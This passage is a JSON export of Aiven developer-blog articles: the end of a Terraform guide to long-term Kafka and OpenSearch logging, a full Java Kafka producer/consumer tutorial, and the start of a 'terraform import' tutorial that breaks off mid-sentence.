\"$YOUR_API_TOKEN\"\n\nproject = \"$YOUR_PROJECT_NAME\"\ncloud = \"$YOUR_CLOUD_REGION\"\n\nkafka_svc = \"kafka-logger\"\nes_svc = \"os-logger\"\n```\n\nFor now, don't touch the `kafka_svc` or `es_svc` values. Google Cloud's Terraform provider does not need authentication because it authenticates itself, if you do not have this configured then the provider will prompt and guide you.\n\nEnable Google Cloud Function and Google Cloud Build APIs enabled in the [Google Cloud Console](https://console.cloud.google.com/apis/credentials).\n\nNext, run the following from the `terraform/` directory to initialize Terraform, create the execution plan and execute: \n\n```bash\nterraform init\nterraform plan --var-file=secrets.tfvars\nterraform apply --var-file=secrets.tfvars\n```\n\nOnce complete, you will have an Aiven for Apache Kafka service logging to itself and an Aiven for OpenSearch service to receive them. In Google Cloud, you will see a new Cloud Function, called `restore`, has been created. \n\n### Google Cloud Functions\n\nThe `restore` function is a Python script which calls an HTTP endpoint with the bucket we want to restore from, the file we want to restore and the name of the OpenSearch index to restore to. We need to set the connection information for our Aiven for OpenSearch cluster in the environment variables for the function:\n\n1. Navigate to Google Cloud Console, go to Cloud Functions and select the testing tab\n2. Use the testing tab to send an example request that will restore the provided file in a specified Google Cloud Storage bucket to a specified index in your OpenSearch cluster.\n\nAn example request might look like:\n\n```bash\ncurl -m 70 -X POST https://google-demo.cloudfunctions.net/os-restore \\\n-H \"Authorization:bearer $(gcloud auth print-identity-token)\" \\\n-H \"Content-Type:application/json\" \\\n-d '{\n  \"bucket\": \"os_backup\",\n  \"file\": \"YYYY-MM-DD.json\",\n  \"index\": \"restore-YYYY-MM-DD\"\n}'\n```\n\nIn this request, you provide the following:\n\n1. Your Google Cloud authentication token\n2. The name of the bucket you are storing logs in\n3. The filename you want to restore\n4. The index to restore to\n\nSending this creates a new index and adds the specified file contents to it. You can extend this to send an entire bucket or folder.\n\nAnd voilà, you have near unlimited storage for your logs using Kafka as your log transport system and backing up to object storage with a `restore` function. As an added benefit, the Aiven platform automatically clears indexes matching the provided index pattern every few days; which means you do not need to maintain or worry about your cluster becoming too full.\n\n## Conclusion\n\nWhat just happened, you ask? The magic of Terraform is not only in its ability to allow infrastructure to be managed in a similar way to how we manage code, it also allows us to share ideas in a reproducible and configurable way. No longer do we copy bash commands and have a webpage open on one side of the monitor with our IDE on the other, you can read this beautiful prose without interruption and then see that the author is not lying to you by running it yourself. It is the definition of, \"here's one you can try at home\". \n\nThis suggestion was born out of two needs: a need to enable engineering teams to be able to debug their applications and a need for the company to retain those logs to meet the compliance requirements of their industry. A true open source solution does not (yet) exist that allows OpenSearch to expand its storage infinitely using S3-compatible storage. It appears to be quite common that logs are not going directly to OpenSearch and are, instead, passing through Apache Kafka as a transport medium. This makes sense, not only from a scaling perspective but also to allow maintenance on your OpenSearch cluster without needing to impact your o11y solution and, as shown here, to enable the same data to be reused in multiple locations; compliance in sending logs to Cloud Storage and o11y in sending logs to OpenSearch.\n\n## Further reading\n\n- Read more about Kafka's proposed implementation of object storage functionality in [KIP-405](https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage)\n- Wire more services up with [Aiven for Apache Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect/get-started)\n- See the [Google Cloud Storage sink connector data formats](https://aiven.io/docs/products/kafka/kafka-connect/reference/gcs-sink-formats) for specifics on how to send things to and from Google Cloud Storage\n- Read more about configuring an [AWS S3 sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-prereq), if you don't want to use Google Cloud Storage for your object storage solution","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-27T13:26:47.401Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"ac3c15c8a721","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-02-09T10:03:00.000Z","seo":{"_type":"metaData","metaDescription":"Meet your compliance goals by using Aiven for OpenSearch®, S3 storage and Aiven for Apache Kafka®. Find out more and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-05db72145ab617e4f3916c28fb55b66a6ded1482-1567x844-jpg","_type":"reference"}},"metaTitle":"Long-term Logging with Aiven for OpenSearch and Kafka"},"slug":{"_type":"slug","current":"/developer/long-term-logging-aiven-opensearch-apache-kafka"},"subtitle":"Meet your compliance goals using Aiven for OpenSearch®, S3 storage and Aiven for Apache Kafka®.","tags":[{"_key":"5a4ddb4fad9a","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"01e588cfc76c","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Long Term Logging with Aiven for OpenSearch® and Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2023-03-20T14:36:14Z","_id":"708e28f7-1967-4d52-b9d6-07906f776fe4","_rev":"VeNKqGNmt13PzvGhqsSgOk","_type":"devArticle","_updatedAt":"2024-01-29T15:45:49Z","body":"It's difficult to imagine the development of mission-critical software without relying on an event streaming platform such as Apache Kafka®. But perhaps you're new to Apache Kafka and want to go deeper. You're in the right place! This article will guide your first steps using Apache Kafka with Java.\n\nIf you can't wait to see the final result, [this GitHub repository has the producer and consumer](https://github.com/anelook/apache-kafka-first-steps-java) we'll write in the step-by-step guidance provided in this article. \n\n## Get equipped with what you need\n\nIn this blog post you'll learn how to create an Apache Kafka producer and a consumer in Java. You'll prepare configuration files needed for a secure connection and write some Java to send messages to the cluster and poll them back.\n\nBefore you start writing the code, there are several things you'll need to prepare. \n\n### Apache Kafka cluster\n\nFirst, you'll need Apache Kafka cluster itself. To simplify the setup, you can use [Aiven for Apache Kafka®](https://aiven.io/kafka). Aiven for Apache Kafka® is a fully managed solution which builds a cluster with the correct configuration in just minutes, takes care of secure authentication, and other essentials. If you don't have an Aiven account yet, register for [a free trial](https://console.aiven.io/signup). \n\nOnce you're in the console, create a new service: in the **Create service** dialog select **Apache Kafka**, **the cloud** of your choice and the nearest to you **cloud region**.  The **Startup** service plan is sufficient for today. Set a name for your service, for example **apache-kafka-playground**.  \n\nWhile deploying the service, you can proceed with other tasks.\n\n![Screenshot of an Apache Kafka service's overview in the Aiven Console. The service is still building.](https://cdn.sanity.io/images/sczeoy4w/production/aaaac782ee0f8eda01abceedbdc7ce3952a90f00-1500x758.png)\n\n### Java project with dependencies\n\nThe second thing you'll need is a JDK installed on your computer and a basic Java project. This article assumes you have basic knowledge of Java. I used the Java 11 JDK when running this code, but Apache Kafka supports up to Java 17.\n\nYou'll also need an official low-level Apache Kafka client library for Java, a *reference client*, to create a producer and a consumer. Note that if you plan to work with Java APIs for Kafka Streams or Kafka Connect, you'll need an additional set of libraries. \n\nThe most convenient way of including ``kafka-client`` in your Java project is by either using [Maven](https://maven.apache.org/) or [Gradle](https://gradle.org/). Select the latest version of the [kafka-client from mvnrepository](https://mvnrepository.com/artifact/org.apache.kafka/kafka-clients), choose which build tool you use, copy the dependency and add it to your project. \n\n![Screenshot of selecting the Gradle dependency information from the Maven Repository site](https://cdn.sanity.io/images/sczeoy4w/production/7925b4d213e06ccdc34253bc909f607530d6aa2b-1500x1071.png)\n\nI used Gradle. I pasted the dependency into the *build.gradle* file and let Intellij Idea load necessary files by selecting **Reload All Gradle Projects**. \n\nIn addition to Apache Kafka client, you'll also need several other libraries:\n- [slf4j-simple](https://mvnrepository.com/artifact/org.slf4j/slf4j-simple) for logging\n- [JSON](https://mvnrepository.com/artifact/org.json/json) to create and parse JSON objects\n\n## Set up configuration and authentication for Apache Kafka\n\nBefore creating the producers and consumers, you need to specify several configuration properties. These ensure  that information exchanged by Kafka brokers and clients is kept complete, secure, and confidential. \n\nAiven offers two authentication approaches: **TLS** and **SASL**. In this article we'll use TLS for both authentication and encryption. If you want to use SASL, check out [the SASL instructions in Aiven's documentation](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth.html).\n\nUsually, to perform a TLS handshake, you need to configure both Apache Kafka brokers and the clients. To simplify things Aiven takes care of TLS configuration for the brokers, so you only need to configure the clients. And, as we'll see, even with the clients Aiven does most of the work for you. \n\nTo establish a TLS connection between the client and the server three things need to happen:\n\n1. The client needs to verify the identity of the server.\n2. The server needs to verify the identity of the client.\n3. All messages in transit between the client and server must be encrypted.\n\nTo do this, we'll use Java truststores and keystores.\n\nA truststore in Java is a place where you store the certificates of external systems that you trust. These certificates don't contain sensitive information, but they are important to identify and connect to a third-party system. On the other hand, the keystore contains the private access key and its corresponding access certificate, which are needed to authenticate the client. You shouldn't share keystore data with anyone.\n\nIf you're adventurous, you can create these files manually (here is [the guide](https://aiven.io/docs/products/kafka/howto/keystore-truststore.html) how to do this). However, you can also use a convenient shortcut and let Aiven platform do all the job for us. \n\nRun [``avn service user-kafka-java-creds``](https://aiven.io/docs/tools/cli/service/user.html#avn-service-user-kafka-java-creds) using the [Aiven CLI](https://aiven.io/docs/tools/cli.html) with the information about the service and the user:\n\n- **YOUR-SERVICE-NAME** - the name of your Apache Kafka service as you defined it during creation\n- **YOUR-USER-NAME** - the name of the user who performs the operation (if you're in doubt, run ``avn service user-list --format '{username}' --project YOUR-PROJECT-NAME YOUR-SERVICE-NAME`` to see users)\n- **PASSWORD** - select a secure password for your keystore and truststore\n\nNow using apply those fields to the command below and run it:\n\n```java\navn service user-kafka-java-creds YOUR-SERVICE-NAME --username YOUR-USER-NAME -d src/main/resources --password PASSWORD\n```\n\nIf all goes well you will see six new files appear in the **resources/** folder. Aiven downloads necessary certificates, creates both keystore and truststore, as well as puts all references into a single file **client.properties**.\n\n![Screenshot of 6 new credential files created after running the command  \"avn service user-kafka-java-creds.\" These files are in the \"src/main/resources\"The files are titled ca.pem, client.keystore.12, client.properties, client.truststore.jks, service.cert, and service.key.](https://cdn.sanity.io/images/sczeoy4w/production/5f858254167fd54dad5f42dd8da14387eb2f9a1f-1040x408.png)\n\nTo make it easier to read the settings that are located in **client.properties**, add a small static method ``loadProperties`` into a new class ``Utils``:\n\n```java\npackage org.example;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport org.apache.kafka.common.serialization.StringSerializer;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class Utils {\n    public static Properties loadProperties() {\n        Properties properties = new Properties();\n        try (InputStream input = ProducerOneMessage.class.getClassLoader().getResourceAsStream(\"client-ssl.properties\")) {\n            if (input == null) {\n                System.out.println(\"Sorry, unable to find config.properties\");\n            }\n            properties.load(input);\n            properties.put(\"key.serializer\", StringSerializer.class.getName());\n            properties.put(\"value.serializer\", StringSerializer.class.getName());\n        } catch (IOException ex) {\n            ex.printStackTrace();\n        }\n        return properties;\n    }\n}\n```\n\nCongratulations! You're done with the configuration settings.\n\n## Dispatch events to Apache Kafka cluster\n\nTime to send the data to the Apache Kafka cluster. For this you need a producer.\nIn your project create a new Java class called ``Producer`` and add the main method there. \n\nTo send a message you'll need to do these four steps:\n\n```java\npublic class Producer {\n    public static void main(String[] args) {\n        // Step # 1: create a producer and connect to the cluster\n        // Step # 2: define the topic name\n        // Step # 3: create a message record\n        // Step # 4: send the record to the cluster\n    }\n}\n```\n\nFor each of these steps you can rely on the functionality provided by the official Apache Kafka client library for Java, which you added as a dependency previously.\n\nHere is what you have to import for the Producer class to work:\n\n```java\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\nimport org.json.JSONObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport java.util.Properties;\n```\n\nit's also a good idea to use an instance of ``Logger`` to log events later.\n\n```java\nLogger logger = LoggerFactory.getLogger(Producer.class.getName());\n```\n\n### Step 1: create a producer and connect to the cluster\n\nThe constructor of ``KafkaProducer`` expects a list of properties to establish a connection. You already did most of the heavy lifting to define a connection configuration in the previous section. Now, just reference those entries with the helpful utility method ``Utils.loadProperties()`` that you added above.\n\n```java\n// step # 1: create a producer and connect to the cluster\n// get connection data from the configuration file\n\nProperties properties = Utils.loadProperties();\nKafkaProducer\u003cString,String\u003e producer =\n        new KafkaProducer\u003c\u003e(properties);\n```\nOne more thing you need to define is the format to serialize data in. In this example we'll send JSON objects as strings using``StringSerializer``. You should also add a serializer for the key. Even though you won't need to use the keys explicitly in the first example, specifying ``key.serializer`` is mandatory. \n\n```java\nproperties.put(\"key.serializer\", StringSerializer.class.getName());\nproperties.put(\"value.serializer\", StringSerializer.class.getName());\n```\n\nNow that you have a set of properties to establish a connection, you can create an instance of ``KafkaProducer`` and pass the properties into its constructor:\n\n```java\nKafkaProducer\u003cString,String\u003e producer = new KafkaProducer\u003cString, String\u003e(properties);\n```\n\nAt this point you don't send any data to the cluster. However, it's useful to run the ``Producer`` to see how the connection with the server is established and if there are any errors:\n\n![Establishing a connection with the Kafka server](https://cdn.sanity.io/images/sczeoy4w/production/f2727d779e80cd1bcf2299c3c456ba39448cd564-1500x1094.png)\n\n### Step 2: define the topic name\n\nWhen sending the data to the cluster, you need to define a topic to send the message to.\n\nI created a topic named *customer-activity* which records activity of customers in an online shop. You can be more creative and choose a different theme for your messages!\n\n``` java\nString topicName = \"customer-activity\";\n```\n\nNote that once you select the name of your topic, you need to create it in your Aiven for Apache Kafka® cluster. Even though you can configure Apache Kafka to create topics automatically upon message arrival, it's best to keep that option disabled to avoid accidentally creating a bunch of unnecessary topics.  You can create a topic in Aiven for Apache Kafka® using the handy CLI shortcut [``avn-cli-service-topic-create``](https://aiven.io/docs/tools/cli/service/topic.html#avn-cli-service-topic-create) or follow [these steps to create a topic](https://aiven.io/docs/products/kafka/howto/create-topic.html) through the Aiven console.\n\nHere is the configuration of the topic I used, you can see that it contains three partitions and three replications:\n\n![Screenshot that shows adding a new topic using Aiven's console](https://cdn.sanity.io/images/sczeoy4w/production/9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434.png)\n\n### Step 3: create a message record\n\nMessages can be sent in a variety of formats: String, JSON, Avro, protobuf, etc. In fact, Kafka doesn't have any opinion on the structure of data you want to send, which makes the platform very flexible. At times this gets messy, but [Karapace, Aiven's open source schema registry](https://aiven.io/blog/what-is-karapace), can help you organize your data better if needed.\n\nFor simplicity, use JSON for this example and define an object with three properties: a customer name, an operation that was performed and a product that was affected.\n\n```java\nJSONObject message = new JSONObject();\nmessage.put(\"customer\", \"Judy Hopps🐰\");\nmessage.put(\"product\", \"Carrot 🥕\");\nmessage.put(\"operation\", \"ordered\");\n```\n\nCreate a new ``ProductRecord`` instance by passing the topic name and the message to the constructor:\n\n```java\n// package the message in the record\nProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, message.toString());\nlogger.info(\"Record created: \" + record);\n```\n\nNote, that using ``\u003cString, String\u003e`` indicates that the producer expects both the key and the value in ``String`` format. \n\n### Step 4: send the record to the cluster\n\nFinally, to send the message to Apache cluster topic, call the ``send()`` method of the producer instance and provide it with the record:\n\n```java\nproducer.send(record);\nproducer.flush();\nproducer.close();\n```\n\nTo run the producer, call the ``main()`` method of ``Producer`` class with the help of the IDE. Alternatively, you can use Gradle and set up the tasks to run the producer, as it's done [in the accompanying repository](https://github.com/anelook/apache-kafka-first-steps-java/blob/main/build.gradle). You should see the output similar to this:\n\n![Screenshot showing running producer that sent a single message to the cluster](https://cdn.sanity.io/images/sczeoy4w/production/9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434.png)\n\nThe ``send()`` method of the producer also accepts a callback interface, which provides us with metadata and information about exceptions. You can introduce it by doing the following changes:\n\n```java\nproducer.send(record, new Callback() {\n    @Override\n    public void onCompletion(RecordMetadata metadata, Exception exception) {\n        if(exception == null) {\n            logger.info(\"Sent successfully. Metadata: \" + metadata.toString());\n        } else {\n            exception.printStackTrace();\n        }\n    }\n});\nproducer.flush();\nproducer.close();\n```\n\n``RecordMetadata`` and ``Callback`` will need extra imports:\n\n```java\nimport org.apache.kafka.clients.producer.RecordMetadata;\nimport org.apache.kafka.clients.producer.Callback;\n```\n\n## Send multiple messages \n\nGreat, you successfully sent a single message to the cluster! However, sending messages one by one is tedious. Before moving to the consumer, transform the code to imitate a continuous (even if overly simplified) flow of data.\n\nTo do this, let's separate the method to generate messages:\n\n```java\n\nstatic final String[] operations = {\"searched\", \"bought\"};\nstatic final String[] customers = {\"Judy Hopps🐰\", \"Nick Wilde🦊\", \"Chief Bogo🐃\", \"Officer Clawhauser😼\", \"Mayor Lionheart 🦁\", \"Mr. Big 🪑\", \"Fru Fru💐\"};\nstatic final String[] products = {\"Donut 🍩\", \"Carrot 🥕\", \"Tie 👔\", \"Glasses 👓️️\", \"Phone ☎️\", \"Ice cream 🍨\", \"Dress 👗\", \"Pineapple pizza 🍕\"};\n\npublic static JSONObject generateMessage() {\n    JSONObject message = new JSONObject();\n    \n    // randomly assign values\n    Random randomizer = new Random();\n    message.put(\"customer\", customers[randomizer.nextInt(7)]);\n    message.put(\"product\", products[randomizer.nextInt(7)]);\n    message.put(\"operation\", operations[randomizer.nextInt(30) \u003c 25 ? 0 : 1]); // prefer 'search' over 'bought'\n\n    return message;\n}\n```\n\nAnd now combine the steps to generate and send data within an endless while loop. Note that using ``while(true)`` and ``Thread.sleep`` aren't things you want to do in a production environment, but for our purposes they work well: \n\n```java\ntry (KafkaProducer\u003cString,String\u003e producer = new KafkaProducer\u003c\u003e(properties)) {\n    // step # 2: define the topic name\n    String topicName = \"customer-activity\";\n\n    // step # 3: generate and send message data\n    while(true) {\n        // generate a new message\n        JSONObject message = generateMessage();\n\n        // package the message in a record\n        ProducerRecord\u003cString, String\u003e record =\n                new ProducerRecord\u003c\u003e(topicName, message.toString());\n        logger.info(\"Record created: \" + record);\n\n        // send data\n        producer.send(record, new Callback() {\n            @Override\n            public void onCompletion(RecordMetadata metadata, Exception exception) {\n                if(exception == null) {\n                    logger.info(\"Sent successfully. Metadata: \" + metadata.toString());\n                } else {\n                    exception.printStackTrace();\n                }\n            }\n        });\n        Thread.sleep(1000);\n    }\n}\n}\n```\n\nNow while running the producer, you continuously send records into the cluster:\n\n![Screenshot showing the producer sending multiple messages to the Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/3c36007a192126d3b02e5276a605936cde106ac1-1500x770.png)\n\n\n## Consume the data from Apache Kafka topic\n\nNow that the messages are generated and sent by the producer into the cluster, you can create a consumer to poll and process those messages.\n\nCreation of a simple consumer can be divided into three steps:\n\n```java\npublic class Consumer {\n    public static void main(String[] args) {\n        // Step # 1: create a consumer and connect to the cluster\n        // Step # 2: subscribe consumer to the topics\n        // Step # 3: poll and process new data\n    }\n}\n```\n\nHere are the imports for the code below:\n\n```java\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.serialization.StringDeserializer;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.time.Duration;\nimport java.util.Collections;\nimport java.util.Properties;\n```\n\n### Step 1: create a consumer and connect to the cluster\n\nSimilar to how you configured the producer's properties, you need to specify connection information for the consumer. \n\n```java\n// step # 1: create a consumer and connect to the cluster\n// get connection data from the configuration file\nProperties properties = Utils.loadProperties();\nproperties.put(\"key.deserializer\", StringDeserializer.class.getName());\nproperties.put(\"value.deserializer\", StringDeserializer.class.getName());\nproperties.put(\"group.id\", \"first\");\nproperties.put(\"auto.offset.reset\", \"earliest\"); //choose from earliest/latest/none\n\n```\n\nIn addition to the properties that you used for producer, the consumer has a couple of new ones. First, the consumer needs to be able to deserialize the data that it reads from the cluster, so instead of serialization properties you define deserialization ones:\n\n```java\nproperties.put(\"key.deserializer\", StringDeserializer.class.getName());\nproperties.put(\"value.deserializer\", StringDeserializer.class.getName());\n```\n\nYou also need to assign the consumer to a consumer group. Do this by specifying a ``group.id``:\n\n```java\nproperties.put(\"group.id\", \"first\");\n```\n\nThe last thing you should define is the point from which the consumer should start reading the data when it first connects to a topic. You can define a specific offset, or, alternatively, point to either the earliest or the latest message currently present in the topic. Set ``auto.offset.reset`` to ``earliest`` to read the messages from the start.\n\n```java\nproperties.put(\"auto.offset.reset\", \"earliest\"); \n```\n\nUsing the connection properties that you defined, you're ready to create the consumer:\n\n```\nKafkaConsumer\u003cString,String\u003e consumer = new KafkaConsumer\u003cString, String\u003e(properties);\n```\n\n### Step 2: subscribe consumer to the topic\n\nSubscribe the consumer to one or more topics:\n\n```java\nString topicName = \"customer-activity\";\nconsumer.subscribe(Collections.singleton(topicName));\n```\n\n### Step 3: poll and process new data\n\nThe last step is to poll data on a regular basis from the Apache Kafka topic. For this use the ``poll()`` method and specify how long the consumer should wait for new messages to arrive.\n\n```java\n// step # 3 poll andprocess new data\nwhile (true) {\n    // poll new data\n    ConsumerRecords\u003cString, String\u003e records = consumer.poll(Duration.ofMillis(100));\n    // process new data\n    for (ConsumerRecord\u003cString, String\u003e record : records) {\n        logger.info(\"message: \" + record.value());\n    }\n}\n```\n\nFinally, it's time to start the consumer to read all the data sent by the producer. Again, you can either use the help of your IDE to run  the``main()`` method, or use the powers of **Gradle** – see [how it's done](https://github.com/anelook/apache-kafka-first-steps-java) in the accompanying repository.\n\n![Screenshot showing consumer polling and printing out data](https://cdn.sanity.io/images/sczeoy4w/production/f10dd5bee014fb2c23fd4d05613b0e130d13ca4c-1500x811.png)\n\n## Maintain the ordering of messages for every customer\n\nWith the producer and consumer created, you can now send and read the data from the Kafka cluster.\nHowever, if you look at the records closely, you might notice that the order of the records as read by consumer is different from when they were sent by producer. \n\nEven though it's a natural side effect of a distributed system, you often want to maintain the order across the messages. This challenge is discussed in detail in a separate blog post, [ways to balance your data across Apache Kafka® partitions](https://aiven.io/developer/balance-data-across-kafka-partitions). In this post, we'll use one of the strategies suggested in that article: preserving the order of messages with the help of a key.\n\nIn an online shop, the order of operations performed by the customers is important. A customer first adds the product into the basket, then pays for it and only then you dispatch the item. To maintain the sequence of messages related to each individual customer when balancing data across partitions you can use ``id`` of the customer as the key.\n\nFor this on the producer side when creating a record, specify the record's key:\n\n```java\n// create a producer record\nString key = message.get(\"customer\").toString();\nString value = message.toString();\nProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, key, value);\n```\n\nTo see the effect of this change on the consumer side, print out the partition and offset of each record when coming from the brokers when you process data: \n\n```java\nfor (ConsumerRecord\u003cString,String\u003e record : records) {\n    logger.info(\"partition \" + record.partition() +\n            \"| offset \" + record.offset() +\n            \"| \" + record.value() );\n}\n```\n\nNow you can run the updated producer and consumer. In the consumer output, notice that the data for each individual customer is always added into the same partition. With this, even though messages about customers can be reshuffled, messages related to the same customer maintain their original order.\n\nYou can further improve this setup by using each separate shopping trip performed by the customer as a key. Customers perform multiple shopping trips, but each trip is unique and contains the sequence of events that must stay in exactly same order when consumed. A shopping trip contains fewer records than overall activity of a customer and therefore has less probability to lead to unbalanced partitions.\n\n## Final thoughts and next steps\n\nIn this article we covered the first steps to start using Apache Kafka with the official Java client library. You can find the code used for this article in [a GitHub repository](https://github.com/anelook/apache-kafka-first-steps-java).\n\nThere is still a lot to uncover when using Apache Kafka, so if you'd like to learn more, check out these articles:\n\n- [Apache Kafka® simply explained](https://aiven.io/blog/kafka-simply-explained)\n- [Apache Kafka® key concepts, A glossary of terms related to Apache Kafka](https://aiven.io/blog/apache-kafka-key-concepts)\n- [Ways to balance your data across Apache Kafka® partitions](https://aiven.io/developer/balance-data-across-kafka-partitions)\n- [What is Karapace? Find out more about the magic that is the schema registry!](https://aiven.io/blog/what-is-karapace)\n\nOr poke around our [Apache Kafka documentation](https://aiven.io/docs/products/kafka) and try out [Aiven for Apache Kafka](https://console.aiven.io/signup).","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-27T13:36:10.788Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"53fbc1f11c68","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-02-01T13:14:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to produce and consume records with Apache Kafka Java client library. Improve your workflows today and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-daa6d5d6808e21a367b85dcc87178d0069e271af-1567x844-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/first-steps-kafka-java-client-library"},"subtitle":"Learn how to produce and consume records with Apache Kafka Java client library","tags":[{"_key":"31f638a6cb25","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"14868202eae4","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"First steps with the Apache Kafka® Java client library"}
{"__i18n_lang":"en","_createdAt":"2023-03-31T12:44:53Z","_id":"2f1e7133-c494-4b15-ba30-a9034f6f194e","_rev":"lToOrzsceUYtLq3U2S9wCr","_type":"devArticle","_updatedAt":"2024-07-17T08:09:52Z","body":"\nAll deployment needs are not the same. At times, you need to create one service for a proof-of-concept project. Oftentimes, you need to create large scale deployments on a regular basis. \n\nMost engineering teams create infrastructure resources using the GUI, CLI, and other automation tools. This creates an unmanageable state of running resources without any one tool to control. \n\nIn this tutorial, we'll talk about the power of the `terraform import` command to import existing infrastructure into Terraform as a starting point for version-controlled management. This allows you to continue managing the imported resources through Terraform. \n\n## The pain of imperative commands\n\nIt’s hard to find an organization without complex shell scripts that have been passed on to them over the years. While you cannot version-control clicks of a button, you can version-control scripts. However, when you deploy resources using these scripts or create resources from the click of a button, you don’t have a way to store the state of your infrastructure resources. This is the imperative way of creating resources. \n\nTools like Terraform and Kubernetes use a declarative approach where you declare what the state of your infrastructure will be. The tool will execute underlying API commands to ensure that desired state. \n\n\n## `terraform import`: an overview\n\nThe `terraform import` command is useful in cases where you already have infrastructure in place that you'd like to manage through Terraform, or if you're transitioning from manual provisioning to using Terraform. \n\nBy importing existing resources into Terraform, you can start version-controlling your infrastructure and take advantage of Terraform's features for defining, versioning, and planning changes to your infrastructure. \n\nFor example, you might have started with a single instance of PostgreSQL as your primary database and a couple of Redis services for caching and session store needs. These services were created by clicking a button on the console or running a one-off script. As your business grows, not only will you need to add more instances, but you will also need to deploy services to multiple cloud regions for high availability. This is where you can take advantage of Terraform to create new services programmatically as well as import the previously created services using the `terraform import` command. \n\n\n```shell\nterraform [global options] import [options] ADDR ID\n```\n\nThe command expects two input parameters - ADDR and ID. You can think of ADDR as a placeholder for Terraform to import the existing resource into. The ID is the identifier value of the specified resource that is not currently under Terraform management.\n\n## The setup\n\nImagine you’re a DevOps Engineer who is tasked to bring all infrastructure resources under Terraform management. Before importing your existing resources into Terraform, your setup might look something like this:\n\n![Diagram showing resources before importing](https://cdn.sanity.io/images/sczeoy4w/production/94401ec6040c6f685654776f575074e2b2e5d53b-1126x550.png) \n\nThe dotted lines indicate that these resources are created in an imperative way and there’s often no retry logic to ensure that the remote state of the resources match your expectation. The solid lines indicate that these resources are created using Terraform in a declarative manner. \n\n![Diagram showing resources managed by Terraform](https://cdn.sanity.io/images/sczeoy4w/production/1587c0972d61286c61d8c622378798c668d42a15-952x716.png)\n\nAfter you import the resources under Terraform management, you will be able to track the state of these resources using Terraform, version-control the declarative commands to build and rebuild your infrastructure, and do a whole lot more with all the powerful features that Terraform has to offer. \n\nLet’s help you achieve that goal.\n\n## Prerequisites \n\nWe’ll use the Aiven console to create an Aiven for Apache Kafka® service, a Kafka topic, and a Kafka user. Then we’ll use Aiven Terraform Provider to import these resources under the Terraform management.\n\nIf you don’t have an account already, [sign up for an Aiven account](https://console.aiven.io/signup). While you’re at it, [create an Aiven authentication token](https://aiven.io/docs/platform/howto/create_authentication_token). You’ll need it soon.\n\nBesides an Aiven API token, you will need to know the [Aiven project](https://aiven.io/docs/platform/howto/manage-project) name. You don’t need to create a new project and can use the default project for this exercise. From the [Aiven console](https://console.aiven.io/), you can find the project name from the top-left corner of your screen.\n \nYou’ll also need the [Terraform CLI](https://developer.hashicorp.com/terraform/tutorials/oci-get-started/install-cli#install-terraform) to follow along. \n\nOptionally, please [install jq](https://stedolan.github.io/jq/download/) if you don’t have it on your machine already. This will help you slice, filter, and output json data.\n\n## The technical steps\n\nFrom the Aiven console, click “Create service” and then select Apache Kafka. Select your preferred cloud, region, plan, and provide a service name to create your Kafka service.\n\nOnce the service is running, go to the “Users” tab and provide a username to create a new service user. Next, from the “Topics” tab, click “Add topic”, provide the name of a topic to create a topic.  \n\nAlthough we created these resources using Aiven console, you could create those using [the Aiven CLI](https://aiven.io/docs/tools/cli) as well.\n\nNow the fun begins to import these three resources into Terraform.\n\nUnder an empty directory, create three files: `provider.tf`, `service.tf`, and `variables.tf`. \n\nThe `provider.tf` file declares the necessary dependency on Aiven Terraform Provider, adds a version number to pull for, and indicates any variable that needs to be passed during runtime. \n\n```terraform\n#provider.tf \nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"~\u003e 4.1.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nThe `service.tf` file contains the Terraform resources definitions. For now, this file contains the skeleton of the \"aiven_kafka\" resource. We’ll populate this file after we start importing the resources.\n\n```terraform\n# Kafka service\n\nresource \"aiven_kafka\" \"imported-kafka-service\" {\n\n}\n```\n\nFinally, the `variables.tf` file indicates two variable names that the provider needs: `aiven_api_token` and `project_name`. \n\n```terraform\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n \nNow, initialize the project by running ``terraform init`` from a terminal. This will download the 